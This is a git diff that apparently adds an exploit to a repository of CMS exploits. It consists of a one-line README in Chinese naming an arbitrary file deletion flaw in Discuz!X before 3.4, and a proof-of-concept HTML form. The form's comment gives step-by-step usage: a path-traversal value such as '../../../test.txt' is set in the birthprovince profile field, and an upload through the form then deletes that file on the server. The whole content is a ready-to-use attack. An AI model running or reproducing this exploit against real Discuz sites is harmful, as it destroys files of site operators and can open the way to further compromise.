diff --git a/CMS/Discuz/Discuz_v3.4/README.md b/CMS/Discuz/Discuz_v3.4/README.md
new file mode 100644
index 0000000..738d8f5
--- /dev/null
+++ b/CMS/Discuz/Discuz_v3.4/README.md
@@ -0,0 +1 @@
+Discuz!x v_3.4以下 任意文件删除漏洞
\ No newline at end of file
diff --git a/CMS/Discuz/Discuz_v3.4/form.php b/CMS/Discuz/Discuz_v3.4/form.php
new file mode 100644
index 0000000..d911d16
--- /dev/null
+++ b/CMS/Discuz/Discuz_v3.4/form.php
@@ -0,0 +1,12 @@
+<form action="http://127.0.0.1/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
+<input type="file"name="birthprovince" id="file" />
+<input type="text"name="formhash" value="de746a38"/></p>
+<input type="text"name="profilesubmit" value="1"/></p>
+<input type="submit"value="Submit" />
+</from>
+
+<!-- 
+	Usages: 
+		step1 : GET http://127.0.0.1/upload/home.php?mod=spacecp&ac=profile&op=base and POST birthprovince=../../../test.txt[the file you delete]&profilesubmit=1&formhash=2fce4b73[your hash]
+		step2 : upload jpg from form.php then file delete 
+-->
\ No newline at end of file